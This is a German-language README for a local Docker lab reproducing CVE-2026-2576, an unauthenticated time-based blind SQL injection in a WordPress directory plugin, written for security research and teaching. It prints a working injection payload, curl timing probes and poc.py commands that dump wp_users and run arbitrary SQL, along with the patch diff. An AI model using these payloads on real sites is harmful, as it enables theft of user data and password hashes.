
CVE-2026-2576 — Business Directory Plugin SQLi PoC (Lokale Einrichtung). Nicht authentifizierte zeitbasierte Blind-SQL-Injection im Business Directory Plugin für WordPress ≤ 6.4.21
Unauthentifizierte zeitbasierte Blind-SQL-Injection
Business Directory Plugin für WordPress ≤ 6.4.21
| Feld | Detail |
|---|
| CVE | CVE-2026-2576 |
| Plugin | Business Directory Plugin – Easy Listing Directories für WordPress |
| Anbieter | strategy11team |
| Betroffen | Alle Versionen ≤ 6.4.21 |
| Gepatcht | 6.4.22 |
| Typ | Zeitbasierte Blind-SQL-Injection (CWE-89) |
| Authentifizierung | Keine — vollständig ohne Authentifizierung |
| CVSS | 7.5 (NVD) / 9.3 (Wordfence) |
| Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Zuweiser | Wordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2 |
| Offengelegt | 18. Februar 2026 |
Das Business Directory Plugin ist ein weit verbreitetes WordPress-Plugin zum
Erstellen von Listing-Verzeichnissen mit Zahlungsunterstützung. Ein Fehler in
seinem ORM-Query-Builder ermöglicht es einem nicht authentifizierten Angreifer,
eine zeitbasierte Blind-SQL-Injection über den payment-Abfrageparameter
durchzuführen, wodurch der Inhalt der Datenbank abgeleitet werden kann.
Die Schwachstelle befindet sich im ORM-Query-Builder:
Datei: includes/db/class-db-query-set.php — filter_args()
private function filter_args( $args ) {
$filters = array();
foreach ( $args as $f => $v ) {
$op = '=';
// ...
if ( is_array( $v ) ) {
// ❌ VERWUNDBAR — keine Bereinigung, direkte String-Verkettung
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
} else {
// ✓ Sicher — verwendet $wpdb->prepare()
$filters[] = $this->db->prepare( "$f $op %s", $v );
}
}
return $filters;
}
Wenn $v ein Skalar ist, verwendet der Code korrekt $wpdb->prepare(). Wenn
$v ein Array ist, fällt er in den unsicheren Zweig und verkettet die Werte
direkt in den SQL-String ohne Escape.
Der Checkout-Controller (includes/controllers/pages/class-checkout.php)
liest den payment-Anfrageparameter und übergibt ihn an das ORM:
// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
$this->payment = WPBDP_Payment::objects()->get(
array( 'payment_key' => $payment_id ) // $payment_id als Wert übergeben
);
}
PHP konvertiert automatisch payment[]=value in der Abfragezeichenfolge in ein
Array $_GET['payment'] = ['value']. Dadurch wird $v in
filter_args() zu einem Array, das den unsicheren Zweig trifft.
GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>
PHP: $_REQUEST['payment'] = ['<payload>'] ← Array durch []-Notation
|
v
class-checkout.php: fetch_payment()
|
v
WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
|
v
class-db-query-set.php: filter_args()
=> is_array($v) == TRUE → unsicherer Zweig
=> "$f IN ('" . implode("','", $v) . "')"
|
v
MySQL: SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<payload>')
payment[]=<key>') AND IF((<condition>),SLEEP(N),0)-- -
Generiertes SQL:
SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condition>),SLEEP(N),0)-- -')
Das -- - kommentiert das abschließende ') aus. Das IF() erzeugt ein
boolesches Orakel: Wenn die Bedingung TRUE ist, wird SLEEP(N) ausgelöst und
die Antwort verzögert; bei FALSE erfolgt die Antwort sofort.
Hinweis: Das ORM führt die Abfrage zweimal pro Anfrage aus (einmal in get(), einmal
in maybe_execute_query()), sodass ein SLEEP(1)-Payload eine beobachtbare
Verzögerung von ~2 Sekunden erzeugt und SLEEP(2) ~4 Sekunden.
Ein nicht authentifizierter Angreifer kann Datenbankinhalte Zeichen für Zeichen durch zeitbasierte Antworten ableiten und extrahieren, einschließlich:
wp_users), Benutzernamen, E-Mail-Adressen, Passwort-HashesDer Fix in Version 6.4.22 fügt dem Array-Zweig von
filter_args() eine Bereinigung hinzu:
// VORHER (verwundbar)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
// NACHHER (gepatcht)
$escaped = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";
Python-Abhängigkeiten installieren:
pip3 install requests colorama --break-system-packages
cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini
cd cve-2026-2576-lab
docker compose up -d --build
docker compose up setup
Warten, bis Folgendes angezeigt wird:
╔══════════════════════════════════════════════════════════╗
║ Lab-Einrichtung abgeschlossen! ║
╠══════════════════════════════════════════════════════════╣
║ WordPress: http://localhost:8080 ║
║ WP-Admin: http://localhost:8080/wp-admin ║
║ phpMyAdmin: http://localhost:8082 ║
╠══════════════════════════════════════════════════════════╣
║ admin / admin123 ║
║ victim / victimpass123 ║
╠══════════════════════════════════════════════════════════╣
║ Plugin: 6.4.21 (VERWUNDBAR) ║
║ BD-Seiten-ID: 4 ║
╚══════════════════════════════════════════════════════════╝
docker exec lab_wordpress bash -c \
"grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
| head -1"
# Erwartet: * Version: 6.4.21
docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
+----+--------------+---------+
| id | payment_key | status |
+----+--------------+---------+
| 1 | seed-pay-001 | pending |
+----+--------------+---------+
docker compose up -d pma
# Zugriff unter http://localhost:8082 (root / rootpass)
Alle Befehle werden vom Lab-Stammverzeichnis auf Ihrem Kali-Host ausgeführt.
Verwenden Sie http://localhost:8080 (Host → Docker-Portzuordnung).
Der payment_key muss einer vorhandenen Zeile in wp_wpbdp_payments entsprechen.
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --detect
Erwartet: INJECTION CONFIRMED ✓ (2.03s ≈ 1s × 2 ORM-Ausführungen)

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --extract-db

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --tables
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table lab_secrets
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --custom-sql "SELECT secret_value FROM lab_secrets WHERE label='flag'"
| Flag | Standard | Hinweise |
|---|---|---|
--sleep N | 1 | SLEEP(N) pro Orakel. TRUE ≈ N×2s. Niedriger = schneller, lauter |
--threads N | 4 | Parallele Zeichenpositionen. 8 funktioniert gut auf moderner Hardware |
# Schnellste Extraktion
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users --sleep 1 --threads 8
# Basislinie: sollte in < 0.1s zurückkehren
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=seed-pay-001"
# Sleep-Probe: sollte in ~4s zurückkehren (SLEEP(2) × 2 Ausführungen)
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"seed-pay-001') AND SLEEP(2)-- -\"))")"
Um die verwundbare Version gegen die gepatchte Version zu diffen:
python3 poc/patch_diff.py
# Für vollständigen Diff
python3 poc/patch_diff.py --full
# Beide Versionen herunterladen
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.21/ /tmp/v6421
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.22/ /tmp/v6422
# Die verwundbare Datei diffen
diff -u /tmp/v6421/includes/db/class-db-query-set.php /tmp/v6422/includes/db/class-db-query-set.php
Der Diff zeigt esc_sql(), das dem Array-Zweig in filter_args() hinzugefügt wurde.
# Lab stoppen (Daten bleiben erhalten)
docker compose stop
# Neu starten
docker compose start
# Vollständiger Abbau — zerstört alle Volumes und Daten
docker compose down -v
# Setup von Grund auf erneut ausführen
docker compose down -v && docker compose up setup
# Shell im WordPress-Container öffnen
docker exec -it lab_wordpress bash
# WordPress-PHP-Fehlerprotokoll anzeigen
docker exec lab_wordpress tail -f /var/www/html/wp-content/debug.log
# MySQL-Abfrageprotokoll in Echtzeit beobachten
docker exec lab_mysql mysql -uroot -prootpass -e "SET GLOBAL general_log=1; SET GLOBAL general_log_file='/tmp/mysql.log';"
docker exec lab_mysql tail -f /tmp/mysql.log
$wpdb->prepare()-Dokumentation — https://developer.wordpress.org/reference/classes/wpdb/prepare/Dieses Repository ist ausschließlich für autorisierte Sicherheitsforschung und Bildungszwecke bestimmt. Alle Tests wurden in einer isolierten lokalen Lab-Umgebung durchgeführt. Führen Sie dieses Tool niemals gegen Systeme aus, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben. Unbefugter Zugriff auf Computersysteme ist gemäß dem Computer Fraud and Abuse Act (CFAA) und entsprechenden Gesetzen in anderen Rechtsordnungen illegal.
Der Autor übernimmt keine Haftung für Missbrauch dieses Materials. Befolgen Sie stets verantwortungsvolle Offenlegungspraktiken — wenn Sie neue Erkenntnisse auf der Grundlage dieser Forschung entdecken, koordinieren Sie sich vor der Veröffentlichung mit dem Anbieter.
Erforscht und entwickelt in einem isolierten Docker-Lab auf Kali Linux.